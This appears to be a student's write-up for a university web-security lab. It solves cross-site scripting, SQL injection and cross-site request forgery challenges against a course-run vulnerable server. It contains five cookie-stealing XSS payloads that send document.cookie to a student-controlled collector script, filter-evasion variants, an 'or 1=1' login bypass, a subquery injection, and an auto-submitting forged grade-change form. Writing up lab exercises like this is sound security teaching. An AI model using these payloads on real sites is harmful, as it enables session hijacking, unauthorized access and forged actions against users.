Q1 Scenario #1

1.1
Payload: <script>let img = document.createElement('img'); img.src =
"https://homes.cs.washington.edu/~dsingh01/cookieEater.php?cookie="+document.cookie;</script>

Explanation:

With no filters, we can simply send a malicious script as the url and then copy the error url back into textbox and get our authenticated cookie. The script is simply creating an image whose source is our site with our cookieEater server, which will receive the cookie.

1.2

Payload: <img src=x
onerror="this.src='https://homes.cs.washington.edu/~dsingh01/cookieEater.php?cookie=' + document.cookie;">

Explanation: Since we can longer use the script tag, we use the img tag instead. In this instance, we set the src of the image to a random string (x), since this is obviously not a image, we get an error. On the error, we then redirect the user to our server, obtaining the authenticated cookie.

1.3

Payload:
<iframe/src="javascript:location.href='https://homes.cs.washington.edu/~dsingh01/cookieEater.php?cookie='+document.cookie"></iframe>

Explanation:

With script, style, on, and [space] filtered, we try using iframe. Since we are in the context of the iframe, we need a way to execute our code in the context of our parent frame. We do this using javascript:location.href (html encoding o and s to avoid the filters). This then triggers redirects to our webpage with our server, and we obtain our authenticated cookie.

1.4

Payload: "
onload="window.location='https://homes.cs.washington.edu/~dsingh01/cookieEater.php?cookie='+document.cookie;"

Explanation: On the error page, when we give a bad url, we are given an image. Using inspect element, we see that our input is being added to the alt attribute of an img tag. As a result, we add a " to the beginning to close the alt attribute and then add an onload attribute that will be used to inject our server and get the cookie. (We html encode document since it is being filtered). After putting this in, we are redirected to a page, so we go through history to get our proper error page. Then, in the url, we manually edit out the html encoded document for document itself, and we obtain our authenticated cookie.

1.5

Payload:
";window.location='https://homes.cs.washington.edu/~dsingh01/cookieEater.php?cookie='+document.cookie;//

Explanation: When you insert any random string, the error message comes through an alert where the string is inserted. By adding a "; to the start of our payload, we close the string in the JavaScript code that contains the alert or URL validation message and end the JavaScript statement cleanly. Now, as usual, we insert our code that redirects the user to our server, and end the code with // to comment out any remaining JavaScript code. Since our error page is redirected, we use history to get the proper error url, paste that, and obtain our authenticated cookie.

Q2 Scenario #2

2.1

Username: ' or 1=1; --

Password:

Explanation: We inject SQL code into the username that makes the "SELECT ... WHERE ... " clause always true (1=1 is always true), and the -- to comment the remaining SQL code. This allows us to bypass authentication and open the supposed gate.

2.2

Name: Chicken Husky

Explanation:

When trying any name (abc), we get an error message "Since your name was not in the database, we have submitted a jailbreak request for you to the warden." After trying this name again, we realize we get an error message following the format of "Hi (name), unfortunately the request you submitted on NOW() was not approved," meaning we can exploit this by inserting two arguments, a string literal followed by ', [our SQL code]; The string literal will be interpreted as the name we put down and the ', (SELECT K.name from (SELECT * FROM sql2 WHERE sql2.approved=1 LIMIT 1) AS K)); will replace the NOW function and get us our name. This reveals Chicken Husky as an approved name.

Q3 Scenario #3

3.1

Send TA a Link

URL: https://homes.cs.washington.edu/~dsingh01/panda.html

Explanation:

Looking at the Send TA a Link, we see a message that says, "Your TAs love panda images. They will visit any url you send them if it is in the homes.cs.washington.edu domain and contains the word panda." After inspecting element on the TA Grade page, we find the way TA's update our grade is

through a form where action=update-grade at https://cse484.cs.washington.edu/lab2/supersecuregradingsystem. Thus, we create a html file called panda that contains a form that sends a POST request where as soon as the page is loaded the form is submitted with action=update-grade, groups=dsingh01 (our net id), and grade=100.

Additional File: panda.html

```
<html>
  <body onload="document.forms[0].submit()">
    <form action="https://cse484.cs.washington.edu/lab2/supersecuregradingsystem/?action=update-grade" method="POST">
      <input type="text" name="groups" value="dsingh01"/>
      <input type="text" name="grade" value="100"/>
    </form>
  </body>
</html>
```